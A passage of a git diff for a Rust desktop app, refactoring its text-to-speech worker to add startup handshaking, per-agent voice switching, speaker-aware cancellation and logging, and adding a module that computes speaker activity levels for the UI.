Arc::clone(&cancel); + let voice_cancel = Arc::new(AtomicBool::new(false)); + let worker_voice_cancel = Arc::clone(&voice_cancel); let tts_active_worker = Arc::clone(&tts_active); - let voice_name = voice.to_string(); + let voice = Arc::new(Mutex::new(voice.to_string())); + let voice_worker = Arc::clone(&voice); + let voice_generation = Arc::new(AtomicU64::new(1)); + let worker_voice_generation = Arc::clone(&voice_generation); + let speaker_generations = Arc::new(Mutex::new(HashMap::new())); + let worker_speaker_generations = Arc::clone(&speaker_generations); + let active_speaker = Arc::new(Mutex::new(None)); + let worker_active_speaker = Arc::clone(&active_speaker); + let speaker_cancel = Arc::new(Mutex::new(None)); + let worker_speaker_cancel = Arc::clone(&speaker_cancel); + let playback_probe = PlaybackProbe::new(); + let worker_playback_probe = playback_probe.clone(); + let voice_change_ack = Arc::new(Mutex::new(None)); + let worker_voice_change_ack = Arc::clone(&voice_change_ack); let model_dir_worker = model_dir.clone(); + let (startup_tx, startup_rx) = mpsc::sync_channel(1); let handle = thread::Builder::new() .name("tts-worker".into()) .spawn(move || { tts_worker( model_dir_worker, - voice_name, + ( + voice_worker, + worker_voice_generation, + worker_voice_change_ack, + ), text_rx, - tts_active_worker, - shutdown_worker, - cancel_worker, + ( + tts_active_worker, + shutdown_worker, + (cancel_worker, worker_voice_cancel), + worker_speaker_generations, + worker_active_speaker, + worker_speaker_cancel, + worker_playback_probe, + ), output_device, + activity_app, + startup_tx, ) }) .map_err(|e| format!("failed to spawn tts-worker thread: {e}"))?; + let handle = await_worker_startup(handle, startup_rx)?; Ok(Self { text_tx, tts_active, shutdown, cancel, - voice: voice.to_string(), + voice_cancel, + voice, + voice_generation, + speaker_generations, + active_speaker, + speaker_cancel, + playback_probe, + voice_change_ack, thread: Some(handle), }) } - - /// Queue `text` for TTS synthesis and playback. - /// - /// Non-blocking. Returns `Err` if the queue is full (bounded at - /// `TEXT_QUEUE_DEPTH`) — caller may log and discard. - pub fn speak(&self, text: String) -> Result<(), String> { - self.text_tx.try_send(text).map_err(|e| { - eprintln!("buzz-desktop: TTS queue saturated, dropping message: {e}"); - format!("TTS queue full, dropping: {e}") - }) - } - - /// Signal the worker thread to stop. - pub fn shutdown(&self) { - self.shutdown.store(true, Ordering::Release); - } - - /// Returns `true` if the worker thread has exited (init failure, crash, or normal exit). - /// Used by hot-start to detect dead pipelines and clear them for retry. - pub fn is_finished(&self) -> bool { - self.thread.as_ref().is_none_or(|h| h.is_finished()) - } } impl Drop for TtsPipeline { @@ -239,40 +283,62 @@ impl Drop for TtsPipeline { fn tts_worker( model_dir: PathBuf, - voice_name: String, - text_rx: mpsc::Receiver, - tts_active: Arc, - shutdown: Arc, - cancel: Arc, + voice_state: WorkerVoiceState, + text_rx: mpsc::Receiver, + control_state: WorkerControlState, output_device: Option, + activity_app: Option, + startup_tx: mpsc::SyncSender>, ) { + let (selected_voice, voice_generation, voice_change_ack) = voice_state; + let ( + tts_active, + shutdown, + cancel_signals, + speaker_generations, + active_speaker, + speaker_cancel, + playback_probe, + ) = control_state; + let (cancel, voice_cancel) = cancel_signals; // ── 1. Initialise TTS engine ────────────────────────────────────────────── let model_dir_str = model_dir.to_string_lossy().to_string(); let engine = match load_text_to_speech(&model_dir_str) { Ok(e) => e, Err(e) => { - eprintln!( - "buzz-desktop: TTS engine init failed (model_dir={}): {e}. TTS disabled.", - model_dir.display() - ); - drain_until_shutdown(text_rx, &shutdown); + let error = format!("TTS engine initialization failed: {e}"); + eprintln!("buzz-desktop: tts stage=startup status=failed reason=engine_load"); + let _ = startup_tx.send(Err(error)); return; } }; // ── 2. Load voice style ─────────────────────────────────────────────────── - let voice_path = model_dir.join(format!("{voice_name}.{VOICE_FILE_EXT}")); - let style = match load_voice_style(&voice_path) { + let requested_voice = selected_voice + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone(); + let mut voice_name = DEFAULT_VOICE.to_string(); + let fallback_path = model_dir.join(format!("{DEFAULT_VOICE}.{VOICE_FILE_EXT}")); + let mut style = match load_voice_style(&fallback_path) { Ok(s) => s, Err(e) => { - eprintln!( - "buzz-desktop: TTS voice style load failed ({voice_name}): {e}. TTS disabled." - ); - drain_until_shutdown(text_rx, &shutdown); + let error = format!("TTS voice style initialization failed: {e}"); + eprintln!("buzz-desktop: tts stage=startup status=failed reason=fallback_voice_style"); + let _ = startup_tx.send(Err(error)); return; } }; + if requested_voice != DEFAULT_VOICE + && !reconcile_selected_voice(&model_dir, &selected_voice, &mut voice_name, &mut style) + { + let _ = startup_tx.send(Err( + "TTS selected voice and Mary fallback are unavailable".to_string() + )); + return; + } + let mut style_cache = HashMap::from([(voice_name.clone(), style.clone())]); // ── 2b. Warmup inference ───────────────────────────────────────────────── // The first ONNX inference on any session is significantly slower than @@ -280,15 +346,10 @@ fn tts_worker( // pool allocation, and graph-specific caches. Run a short dummy synthesis // and discard the output so the first real utterance runs at warm-session speed. { - let t = std::time::Instant::now(); match engine.synth_chunk("warmup", "en", &style, SYNTH_STEPS) { - Ok(_) => eprintln!( - "buzz-desktop: TTS warmup completed in {:.0}ms", - t.elapsed().as_millis() - ), - Err(e) => eprintln!( - "buzz-desktop: TTS warmup failed after {:.0}ms: {e} — first utterance may be slow", - t.elapsed().as_millis() + Ok(_) => eprintln!("buzz-desktop: tts stage=warmup status=ready"), + Err(_) => eprintln!( + "buzz-desktop: tts stage=warmup status=failed reason=inference first_utterance_may_be_slow=true" ), } } @@ -301,8 +362,9 @@ fn tts_worker( { Ok(h) => h, Err(e) => { - eprintln!("buzz-desktop: TTS audio output failed: {e}. TTS disabled."); - drain_until_shutdown(text_rx, &shutdown); + let error = format!("TTS audio output initialization failed: {e}"); + eprintln!("buzz-desktop: tts stage=startup status=failed reason=output_open"); + let _ = startup_tx.send(Err(error)); return; } }; @@ -310,14 +372,14 @@ fn tts_worker( let channels = match NonZero::new(1u16) { Some(c) => c, None => { - eprintln!("buzz-desktop: TTS channel count invariant violated"); + let _ = startup_tx.send(Err("TTS channel count invariant violated".to_string())); return; } }; let rate = match NonZero::new(SAMPLE_RATE) { Some(r) => r, None => { - eprintln!("buzz-desktop: TTS sample rate invariant violated"); + let _ = startup_tx.send(Err("TTS sample rate invariant violated".to_string())); return; } }; @@ -330,6 +392,7 @@ fn tts_worker( // Shared (Arc) with the barge-in monitor thread below, which needs to // silence it while this thread is blocked inside `synth_chunk`. let player = Arc::new(Player::connect_new(sink_handle.mixer())); + playback_probe.install(Arc::clone(&player)); // Prime the audio output stream with a short silent buffer. // On macOS, CoreAudio initializes the output device lazily on first use. @@ -341,63 +404,38 @@ fn tts_worker( player.append(SamplesBuffer::new(channels, rate, silence)); // Wait for the silent buffer to drain — this ensures the output stream // is fully initialized before the first real utterance. + let deadline = std::time::Instant::now() + AUDIO_PRIME_TIMEOUT; while !player.empty() { + if std::time::Instant::now() >= deadline { + eprintln!("buzz-desktop: tts stage=startup status=failed reason=output_prime"); + let _ = startup_tx.send(Err( + "TTS audio output did not become ready before timeout".to_string(), + )); + return; + } thread::sleep(Duration::from_millis(10)); } } + if startup_tx.send(Ok(())).is_err() { + return; + } + eprintln!("buzz-desktop: tts stage=startup status=ready"); - // ── 3b. Barge-in monitor thread ─────────────────────────────────────────── - // - // The worker loop only observes `cancel` between sentences — while it is - // blocked inside `synth_chunk` (hundreds of ms for a long sentence), - // nothing would silence the audio that is already playing. The monitor - // closes that gap: every MONITOR_TICK it checks the flag and, while set, - // silences the player and releases the mic gate. It does NOT consume the - // flag — the worker still owns that (drain queue, reset lead-in), so the - // monitor keeps re-clearing until the worker catches up, which also - // covers a sentence appended in the race window after the worker's own - // post-synthesis cancel check. - // - // `player_ops` closes the converse race (found in review): the monitor - // loads `cancel == true`, is preempted, the worker consumes the cancel - // and appends a fresh post-cancel utterance, then the monitor resumes - // from its stale branch and deletes audio that was meant to play. All - // worker player mutations (appends and cancel/shutdown clears) hold this - // lock, and the monitor re-checks `cancel` *while holding it* — so its - // clear either runs before fresh audio can be appended, or observes - // `cancel == false` and no-ops. The lock is uncontended except during an - // actual barge-in, so the hot path is unaffected. - let player_ops = Arc::new(Mutex::new(())); + let player_ops = Arc::clone(&playback_probe.player_ops); + let activity_frames = Arc::new(Mutex::new(VecDeque::::new())); let monitor_stop = Arc::new(AtomicBool::new(false)); - let monitor = { - let player = Arc::clone(&player); - let cancel = Arc::clone(&cancel); - let tts_active = Arc::clone(&tts_active); - let stop = Arc::clone(&monitor_stop); - let player_ops = Arc::clone(&player_ops); - thread::Builder::new() - .name("tts-barge-in-monitor".into()) - .spawn(move || { - while !stop.load(Ordering::Acquire) { - if cancel.load(Ordering::Acquire) { - let _ops = lock_player_ops(&player_ops); - // Re-check under the lock: the worker may have - // consumed this cancel (and appended fresh audio) - // between the load above and the lock acquisition. - if cancel.load(Ordering::Acquire) { - // clear() pauses the persistent player; play() - // un-pauses (see handle_cancel_or_shutdown). - // Idempotent — safe to repeat every tick until - // the worker consumes the flag. - player.clear(); - player.play(); - tts_active.store(false, Ordering::Release); - } - } - thread::sleep(MONITOR_TICK); - } - }) - }; + let monitor = spawn_tts_monitor(TtsMonitorState { + player: Arc::clone(&player), + cancel: Arc::clone(&cancel), + voice_cancel: Arc::clone(&voice_cancel), + tts_active: Arc::clone(&tts_active), + stop: Arc::clone(&monitor_stop), + player_ops: Arc::clone(&player_ops), + activity_frames: Arc::clone(&activity_frames), + active_speaker: Arc::clone(&active_speaker), + speaker_cancel: Arc::clone(&speaker_cancel), + activity_app, + }); if let Err(ref e) = monitor { // Degraded but functional: barge-in still works between sentences // via the worker's own checks, just not mid-synthesis. @@ -418,13 +456,93 @@ fn tts_worker( // idle branch below uses it to decide when to drop `tts_active` and to // arm a fresh lead-in cushion for the next utterance. let mut first_append = true; + let mut last_route_id = 0; + let mut deferred_text = VecDeque::new(); + let append_audio = |prepared: PreparedModelAudio, + route_id: u64, + speaker_pubkey: Option<&str>, + speaker_generation: u64| { + let _ops = lock_player_ops(&player_ops); + if cancel.load(Ordering::Acquire) + || voice_cancel.load(Ordering::Acquire) + || shutdown.load(Ordering::Acquire) + { + let reason = if shutdown.load(Ordering::Acquire) { + "shutdown" + } else if cancel.load(Ordering::Acquire) { + "barge_in" + } else { + "voice_switch" + }; + eprintln!( + "buzz-desktop: tts stage=synthesis status=cancelled reason={reason} route_id={route_id}" + ); + return false; + } + let speaker_is_current = speaker_pubkey.is_none_or(|pubkey| { + current_speaker_generation(&speaker_generations, pubkey) == speaker_generation + }); + if !speaker_is_current { + eprintln!( + "buzz-desktop: tts stage=synthesis status=cancelled reason=speaker_removed route_id={route_id}" + ); + return false; + } + if let Some(pubkey) = speaker_pubkey { + let mut active = active_speaker + .lock() + .unwrap_or_else(|error| error.into_inner()); + if player.empty() { + active.take(); + } + if active + .as_deref() + .is_some_and(|current| !current.eq_ignore_ascii_case(pubkey)) + { + return false; + } + active.get_or_insert_with(|| pubkey.to_ascii_lowercase()); + } + if let Some(pubkey) = speaker_pubkey { + activity_frames + .lock() + .unwrap_or_else(|error| error.into_inner()) + .extend(build_tts_speaker_activity_frames( + &prepared.buffer, + pubkey, + SAMPLE_RATE as usize, + )); + } + player.append(SamplesBuffer::new(channels, rate, prepared.buffer)); + eprintln!( + "buzz-desktop: tts stage=player status=append_accepted route_id={route_id} chunk_index={} sample_count={}", + prepared.chunk_index, prepared.sample_count + ); + // Set this only after append so STT remains open during synthesis. + tts_active.store(true, Ordering::Release); + true + }; loop { + let mut no_current_text = None; + if consume_speaker_cancel( + &speaker_cancel, + &active_speaker, + &speaker_generations, + &tts_active, + (&text_rx, &mut deferred_text, &mut no_current_text), + Some((&player, &player_ops)), + ) { + first_append = true; + continue; + } if handle_cancel_or_shutdown( - &cancel, + (&cancel, &voice_cancel), &shutdown, &tts_active, - &text_rx, + (&text_rx, &mut deferred_text, &mut no_current_text), + &voice_change_ack, + None, Some((&player, &player_ops)), ) { if shutdown.load(Ordering::Acquire) { @@ -436,28 +554,56 @@ fn tts_worker( continue; } - let raw_text = match text_rx.recv_timeout(RECV_TIMEOUT) { - Ok(t) => t, - Err(mpsc::RecvTimeoutError::Timeout) => { - // Nothing queued. If playback has also finished, the agent - // has gone quiet — release the mic gate and reset the - // lead-in so the next utterance gets a fresh cushion. - if player.empty() && !first_append { - tts_active.store(false, Ordering::Release); - first_append = true; - } + // A global Settings voice change cancels the old utterance and is + // acknowledged before receiving subsequent text. Per-agent voice + // changes are carried by each queue item and never drain other agents. + if has_pending_voice_change(&voice_change_ack) { + let voice_ready = + reconcile_selected_voice(&model_dir, &selected_voice, &mut voice_name, &mut style); + if voice_ready { + style_cache.insert(voice_name.clone(), style.clone()); + } + acknowledge_voice_change(&voice_change_ack, &voice_cancel); + if !voice_ready { continue; } - Err(mpsc::RecvTimeoutError::Disconnected) => break, - }; + } + + let mut queued_text = Some(match deferred_text.pop_front() { + Some(text) => text, + None => match text_rx.recv_timeout(RECV_TIMEOUT) { + Ok(text) => text, + Err(mpsc::RecvTimeoutError::Timeout) => { + // Nothing queued. If playback has also finished, the agent + // has gone quiet — release the mic gate and reset the + // lead-in so the next utterance gets a fresh cushion. + if player.empty() && !first_append { + tts_active.store(false, Ordering::Release); + active_speaker + .lock() + .unwrap_or_else(|error| error.into_inner()) + .take(); + eprintln!( + "buzz-desktop: tts stage=player status=drained route_id={last_route_id}" + ); + first_append = true; + } + continue; + } + Err(mpsc::RecvTimeoutError::Disconnected) => break, + }, + }); // Check cancel again after unblocking — a cancel may have arrived // while we were waiting. + let pending_route_id = queued_text.as_ref().map(|queued| queued.route_id); if handle_cancel_or_shutdown( - &cancel, + (&cancel, &voice_cancel), &shutdown, &tts_active, - &text_rx, + (&text_rx, &mut deferred_text, &mut queued_text), + &voice_change_ack, + pending_route_id, Some((&player, &player_ops)), ) { if shutdown.load(Ordering::Acquire) { @@ -466,23 +612,96 @@ fn tts_worker( first_append = true; continue; } + let Some(queued_text) = queued_text else { + continue; + }; + if !queued_speaker_is_current(&speaker_generations, &queued_text) { + eprintln!( + "buzz-desktop: tts stage=queue status=dropped reason=speaker_removed route_id={}", + queued_text.route_id + ); + continue; + } + if queued_text.generation < voice_generation.load(Ordering::Acquire) { + eprintln!( + "buzz-desktop: tts stage=queue status=dropped reason=voice_switch route_id={}", + queued_text.route_id + ); + continue; + } + if !player.empty() + && queued_text + .speaker_pubkey + .as_deref() + .is_some_and(|speaker| { + active_speaker + .lock() + .unwrap_or_else(|error| error.into_inner()) + .as_deref() + .is_some_and(|active| !active.eq_ignore_ascii_case(speaker)) + }) + { + deferred_text.push_front(queued_text); + thread::sleep(RECV_TIMEOUT); + continue; + } + let requested_voice = queued_text.voice_reference.unwrap_or_else(|| { + selected_voice + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone() + }); + let raw_text = queued_text.text; + let speaker_pubkey = queued_text.speaker_pubkey; + let speaker_generation = queued_text.speaker_generation; + let route_id = queued_text.route_id; + eprintln!("buzz-desktop: tts stage=synthesis status=started route_id={route_id}"); // If playback already drained while we were waiting for this item, - // the agent is silent — release the mic gate BEFORE preprocessing/ - // synthesis. Without this, an item arriving inside the recv timeout - // window would run the whole synthesis pass with `tts_active` stuck - // true and nothing playing, making STT discard human speech as - // "echo" during a silent window. (Pipelining is unaffected: when - // audio is still draining, `player.empty()` is false and the flag - // stays set across items.) - if player.empty() && !first_append { - tts_active.store(false, Ordering::Release); - first_append = true; + // release stale ownership before doing any potentially slow voice or + // synthesis work. Serialize the drain decision with Stop and append so + // those paths observe one coherent utterance boundary. + { + let _ops = lock_player_ops(&player_ops); + if player.empty() && !first_append { + tts_active.store(false, Ordering::Release); + active_speaker + .lock() + .unwrap_or_else(|error| error.into_inner()) + .take(); + eprintln!("buzz-desktop: tts stage=player status=drained route_id={last_route_id}"); + first_append = true; + } + } + + // From this point until the item finishes, an empty player can mean a + // voice-preparation or synthesis gap rather than a drained utterance. + // Stop must remain able to invalidate the in-flight speaker generation. + let _synthesis_flight = playback_probe.begin_synthesis(); + + // The selected per-agent voice travels with the queue item, preserving + // message order while allowing one warmed Pocket engine to alternate + // between cached reference styles. + if !reconcile_queued_voice( + &model_dir, + &requested_voice, + &selected_voice, + &mut voice_name, + &mut style, + &mut style_cache, + ) { + eprintln!( + "buzz-desktop: tts stage=synthesis status=failed reason=voice_unavailable route_id={route_id}" + ); + continue; } // Preprocess text. let text = preprocess_for_tts(&raw_text); if text.is_empty() { + eprintln!( + "buzz-desktop: tts stage=synthesis status=empty reason=preprocess route_id={route_id}" + ); continue; } @@ -497,16 +716,29 @@ fn tts_worker( .filter(|s| !s.trim().is_empty()) .collect(); let chunks = group_sentences_into_chunks(&sentences, MAX_CHUNK_CHARS); + if chunks.is_empty() { + eprintln!( + "buzz-desktop: tts stage=synthesis status=empty reason=no_chunks route_id={route_id}" + ); + continue; + } + let mut synthesis_outcome = "completed"; + let mut appended_audio = false; + let mut model_unit_index = 0_usize; 'playback_chunks: for chunk in &chunks { + let mut no_current_text = None; if handle_cancel_or_shutdown( - &cancel, + (&cancel, &voice_cancel), &shutdown, &tts_active, - &text_rx, + (&text_rx, &mut deferred_text, &mut no_current_text), + &voice_change_ack, + Some(route_id), Some((&player, &player_ops)), ) { first_append = true; + synthesis_outcome = "cancelled"; break; } @@ -517,76 +749,121 @@ fn tts_worker( let model_chunks = match engine.split_text_into_chunks(text) { Ok(model_chunks) => model_chunks, - Err(error) => { - eprintln!("buzz-desktop: TTS chunking failed: {error}"); - break; + Err(_) => { + eprintln!( + "buzz-desktop: tts stage=synthesis status=failed reason=chunking route_id={route_id}" + ); + synthesis_outcome = "failed"; + break 'playback_chunks; } }; - let model_chunk_count = model_chunks.len(); - for (model_chunk_index, model_chunk) in model_chunks.iter().enumerate() { + if model_chunks.is_empty() { + eprintln!( + "buzz-desktop: tts stage=synthesis status=empty reason=no_chunks route_id={route_id}" + ); + continue; + } + let mut playback_audio = PlaybackChunkAudio::new(); + for model_chunk in &model_chunks { + let chunk_index = model_unit_index; + model_unit_index += 1; + let mut no_current_text = None; if handle_cancel_or_shutdown( - &cancel, + (&cancel, &voice_cancel), &shutdown, &tts_active, - &text_rx, + (&text_rx, &mut deferred_text, &mut no_current_text), + &voice_change_ack, + Some(route_id), Some((&player, &player_ops)), ) { first_append = true; + synthesis_outcome = "cancelled"; break 'playback_chunks; } - let ends_playback_chunk = model_chunk_index + 1 == model_chunk_count; - match engine.synth_chunk(model_chunk, "en", &style, SYNTH_STEPS) { + let synthesis = engine.synth_chunk(model_chunk, "en", &style, SYNTH_STEPS); + if cancel.load(Ordering::Acquire) + || voice_cancel.load(Ordering::Acquire) + || shutdown.load(Ordering::Acquire) + { + let reason = if shutdown.load(Ordering::Acquire) { + "shutdown" + } else if cancel.load(Ordering::Acquire) { + "barge_in" + } else { + "voice_switch" + }; + eprintln!( + "buzz-desktop: tts stage=synthesis status=cancelled reason={reason} route_id={route_id}" + ); + // The monitor already stopped any queued playback. Discard + // synthesis that completed after cancellation so stale audio + // never reaches the player, while keeping buzz-voice's + // extracted April engine API unchanged. + first_append = true; + synthesis_outcome = "cancelled"; + break 'playback_chunks; + } + match synthesis { Ok(samples) if !samples.is_empty() => { - let mut audio = clamp_to_full_scale(samples); - if ends_playback_chunk { - // Fade only at the playback-chunk boundary. Applying - // it at the model's internal token boundary would - // create an audible dip between contiguous units. - apply_fade_out(&mut audio); - } - - let buf = build_sentence_append_buffer( + if let Some(prepared) = playback_audio.push( + samples, + chunk_index, &mut first_append, - audio, silence_buf_len, - model_chunk_index == 0 || player.empty(), - ends_playback_chunk, - ); - - // Check-and-append under `player_ops`, serialized with - // the monitor: a barge-in may have arrived during - // synthesis (the blocking window the monitor thread - // exists for). Don't append the now-stale sentence — the - // human interrupted; speaking it anyway would talk over - // them. Holding the lock for the check + append means the - // monitor can never clear between our check passing and - // the buffer landing. The flag is deliberately NOT - // consumed here: the loop-top handle_cancel_or_shutdown - // does the full consume (drain queue, reset lead-in) on - // the next iteration. - let _ops = lock_player_ops(&player_ops); - if cancel.load(Ordering::Acquire) { - // Nothing appended; the loop-top consume re-arms - // `first_append` (the flag is still set — the worker - // is its only consumer). - break; + player.empty(), + ) { + if !append_audio( + prepared, + route_id, + speaker_pubkey.as_deref(), + speaker_generation, + ) { + first_append = true; + synthesis_outcome = "cancelled"; + break 'playback_chunks; + } + appended_audio = true; + last_route_id = route_id; } - player.append(SamplesBuffer::new(channels, rate, buf)); - // NOTE: tts_active is set AFTER player.append(), not - // before. Setting it before synthesis would cause STT to - // discard user speech during the synthesis window as - // "echo" even though no audio is actually playing yet. - // See crossfire review C3. - tts_active.store(true, Ordering::Release); } - Ok(_) => {} - Err(e) => { - eprintln!("buzz-desktop: TTS synth failed: {e}"); + Ok(_) => { + eprintln!( + "buzz-desktop: tts stage=synthesis status=empty route_id={route_id} chunk_index={chunk_index}" + ); + } + Err(_) => { + eprintln!( + "buzz-desktop: tts stage=synthesis status=failed reason=inference route_id={route_id} chunk_index={chunk_index}" + ); + synthesis_outcome = "failed"; break; } } } + if let Some(prepared) = + playback_audio.finish(&mut first_append, silence_buf_len, player.empty()) + { + if !append_audio( + prepared, + route_id, + speaker_pubkey.as_deref(), + speaker_generation, + ) { + first_append = true; + synthesis_outcome = "cancelled"; + break 'playback_chunks; + } + appended_audio = true; + last_route_id = route_id; + } + if synthesis_outcome == "failed" { + break 'playback_chunks; + } + } + if synthesis_outcome == "completed" && appended_audio { + eprintln!("buzz-desktop: tts stage=synthesis status=completed route_id={route_id}"); } if shutdown.load(Ordering::Acquire) { @@ -601,6 +878,7 @@ fn tts_worker( let _ = handle.join(); } + finish_voice_change_ack(&voice_change_ack); tts_active.store(false, Ordering::Release); } @@ -614,13 +892,21 @@ fn tts_worker( /// it is serialized with the monitor's stale-branch re-check (see the monitor /// block in `tts_worker`). fn handle_cancel_or_shutdown( - cancel: &AtomicBool, + cancel_signals: CancelSignals<'_>, shutdown: &AtomicBool, tts_active: &AtomicBool, - text_rx: &mpsc::Receiver, + text_state: CancelTextState<'_>, + voice_change_ack: &VoiceChangeAck, + active_route_id: Option, player: Option<(&rodio::Player, &Mutex<()>)>, ) -> bool { + let (cancel, voice_cancel) = cancel_signals; + let (text_rx, deferred_text, current_text) = text_state; if shutdown.load(Ordering::Acquire) { + eprintln!( + "buzz-desktop: tts stage=cancellation reason=shutdown route_id={}", + active_route_id.unwrap_or(0) + ); if let Some((p, ops)) = player { let _ops = lock_player_ops(ops); p.clear(); @@ -628,7 +914,29 @@ fn handle_cancel_or_shutdown( tts_active.store(false, Ordering::Release); return true; } - if cancel.load(Ordering::Acquire) { + if cancel.load(Ordering::Acquire) || voice_cancel.load(Ordering::Acquire) { + // Serialize with begin_voice_change so the generation boundary and + // cancel consumption are observed as one transition. + let pending_voice_change = voice_change_ack + .lock() + .unwrap_or_else(|error| error.into_inner()); + // Consume at the serialization point. A later barge-in remains true + // for the next pass instead of being overwritten after queue cleanup. + let barge_in = cancel.swap(false, Ordering::AcqRel); + voice_cancel.store(false, Ordering::Release); + eprintln!( + "buzz-desktop: tts stage=cancellation reason={} route_id={}", + if barge_in { "barge_in" } else { "voice_switch" }, + active_route_id.unwrap_or(0) + ); + let preserve_generation = (!barge_in) + .then(|| { + pending_voice_change + .as_ref() + .map(|pending| pending.generation) + }) + .flatten(); + retain_cancelled_text(deferred_text, current_text, text_rx, preserve_generation); if let Some((p, ops)) = player { let _ops = lock_player_ops(ops); // `Player::clear()` removes queued sources AND pauses the player @@ -641,11 +949,6 @@ fn handle_cancel_or_shutdown( // Consume the flag under the lock: once released with // `cancel == false`, the monitor's stale branch no-ops instead // of clearing the fresh post-cancel utterance. - while text_rx.try_recv().is_ok() {} - cancel.store(false, Ordering::Release); - } else { - while text_rx.try_recv().is_ok() {} - cancel.store(false, Ordering::Release); } tts_active.store(false, Ordering::Release); return true; @@ -663,140 +966,11 @@ fn lock_player_ops(ops: &Mutex<()>) -> MutexGuard<'_, ()> { ops.lock().unwrap_or_else(PoisonError::into_inner) } -/// Hard-clamp samples to ±1.0 full scale. -/// -/// No gain is applied because Pocket TTS already emits speech-level audio and -/// the reference pipeline applies no output scaling. Normalizing each sentence -/// would cause level pumping between chunks. The clamp remains only as a safety -/// net against outlier transients. -fn clamp_to_full_scale(samples: Vec) -> Vec { - samples.into_iter().map(|s| s.clamp(-1.0, 1.0)).collect() -} - -/// Apply a short linear fade-out at the *end* of `samples`. -/// -/// Uses `FADE_OUT_SAMPLES` (8 ms) or half the buffer length, whichever is -/// smaller. Eliminates the click that occurs when a non-zero waveform -/// terminates abruptly at a sentence boundary. -/// -/// # Why no fade-in -/// -/// A symmetric fade-in would attenuate the leading consonant attack because -/// Pocket TTS produces real audio energy inside the first millisecond. A -/// linear 0→1 ramp over 192 samples scales those onset samples by ≤50% for the -/// first ~4 ms, which can make the first phoneme sound clipped. -/// -/// The first sample of Pocket output measures ≈ 0.0018 (≈ −54 dBFS) — well -/// below the threshold at which a DC-jump would be audible as a click — so -/// no fade-in is needed. The OS audio device gets its quiet ramp-up window -/// from `SENTENCE_LEAD_IN_SAMPLES` instead, inserted as pure silence before -/// each sentence buffer. -fn apply_fade_out(samples: &mut [f32]) { - let len = samples.len(); - let fade = FADE_OUT_SAMPLES.min(len / 2); - for i in 0..fade { - samples[len - 1 - i] *= i as f32 / fade as f32; - } -} - -/// Build one buffer appended to the rodio `Player` for a synthesis unit. -/// -/// Every playback boundary gets a short lead-in pad immediately before its -/// audio. This matters for chunks that start with soft first phonemes (`I'm`, -/// `I've`): the synthesized buffer can begin with speech within the first -/// millisecond, so the playback layer must provide the device/mixer cushion. -/// To keep the audible gap unchanged, the trailing silence after this chunk is -/// shortened by the same amount (`silence_buf_len - SENTENCE_LEAD_IN_SAMPLES`): -/// sentence N contributes 80 ms of post-speech silence and sentence N+1 -/// contributes the remaining 20 ms of pre-speech cushion. -/// -/// The lead-in, audio, and trailing silence are concatenated into one -/// `SamplesBuffer` before appending. This keeps rodio's queue shape at one -/// tracked source per synthesized sentence, avoiding source-boundary/drain -/// regressions from enqueueing the lead-in, audio, and tail as separate sounds. -/// -/// A playback chunk may contain several model-sized synthesis units. Only the -/// first unit receives the onset cushion and only the last receives the -/// remaining gap. If playback underruns while the next unit is synthesized, -/// that unit becomes a new playback boundary and receives a fresh cushion. -/// -/// `first_append` is flipped on the first call after the player goes idle. -/// The worker uses it in the idle branch of the main loop to distinguish -/// "never queued anything since last drain" from "drained after speaking", -/// which controls when `tts_active` is released and the lead-in re-armed. -fn build_sentence_append_buffer( - first_append: &mut bool, - audio: Vec, - silence_buf_len: usize, - starts_playback_chunk: bool, - ends_playback_chunk: bool, -) -> Vec { - if *first_append { - *first_append = false; - } - - let lead_in_len = if starts_playback_chunk { - SENTENCE_LEAD_IN_SAMPLES - } else { - 0 - }; - let trailing_silence_len = if ends_playback_chunk { - silence_buf_len.saturating_sub(SENTENCE_LEAD_IN_SAMPLES) - } else { - 0 - }; - let mut buf = Vec::with_capacity(lead_in_len + audio.len() + trailing_silence_len); - buf.extend(std::iter::repeat_n(0.0_f32, lead_in_len)); - buf.extend(audio); - buf.extend(std::iter::repeat_n(0.0_f32, trailing_silence_len)); - buf -} - -/// Group sentences into synthesis chunks. -/// -/// The first sentence always stands alone — it is what the listener hears -/// first, and synthesizing it by itself keeps time-to-first-audio at the -/// single-sentence cost. Subsequent sentences pack greedily: a sentence -/// joins the current chunk while the combined length stays within -/// `max_chars`; otherwise it starts a new chunk. A single sentence longer -/// than `max_chars` becomes its own chunk here, then the Pocket engine splits -/// it at the April bundle's exact token limit before synthesis. -/// -/// Sentences within a chunk are joined with a single space; sentence-ending -/// punctuation is preserved by `split_sentences`, so the model sees natural -/// multi-sentence prose — the same shape upstream's ~50-token chunker feeds it. -fn group_sentences_into_chunks(sentences: &[String], max_chars: usize) -> Vec { - let mut chunks: Vec = Vec::new(); - for (i, sentence) in sentences.iter().enumerate() { - let sentence = sentence.trim(); - if sentence.is_empty() { - continue; - } - if i == 0 || chunks.is_empty() { - chunks.push(sentence.to_string()); - continue; - } - // Never merge into the first chunk — it's the latency-critical one. - let can_merge = chunks.len() > 1 - && chunks - .last() - .is_some_and(|c| c.len() + 1 + sentence.len() <= max_chars); - if can_merge { - let last = chunks.last_mut().expect("non-empty checked above"); - last.push(' '); - last.push_str(sentence); - } else { - chunks.push(sentence.to_string()); - } - } - chunks -} - -// drain_until_shutdown lives in super (huddle/mod.rs) — shared with stt.rs. -use super::drain_until_shutdown; - // ── Tests ───────────────────────────────────────────────────────────────────── #[cfg(test)] #[path = "tts_tests.rs"] mod tests; +#[cfg(test)] +#[path = "tts_voice_selection_tests.rs"] +mod voice_selection_tests; diff --git a/desktop/src-tauri/src/huddle/tts_activity.rs b/desktop/src-tauri/src/huddle/tts_activity.rs new file mode 100644 index 0000000000..8e69609186 --- /dev/null +++ b/desktop/src-tauri/src/huddle/tts_activity.rs @@ -0,0 +1,45 @@ +//! Agent TTS activity envelope shared with the participant film strip. + +#[derive(Clone, serde::Serialize)] +pub(super) struct TtsSpeakerActivityPayload { + pub(super) pubkey: Option, + pub(super) level: f32, +} + +pub(super) struct TtsSpeakerActivityFrame { + pub(super) pubkey: String, + pub(super) level: f32, +} + +/// Build a 50 ms RMS envelope from the exact audio queued for playback. +/// The UI consumes these frames at the same cadence as remote speaker levels, +/// so an agent uses the normal participant ring rather than a generic pulse. +pub(super) fn build_tts_speaker_activity_frames( + samples: &[f32], + pubkey: &str, + sample_rate: usize, +) -> Vec { + let samples_per_frame = (sample_rate / 20).max(1); + samples + .chunks(samples_per_frame) + .map(|frame| { + let mean_square = frame + .iter() + .map(|sample| f64::from(*sample) * f64::from(*sample)) + .sum::() + / frame.len().max(1) as f64; + let rms = 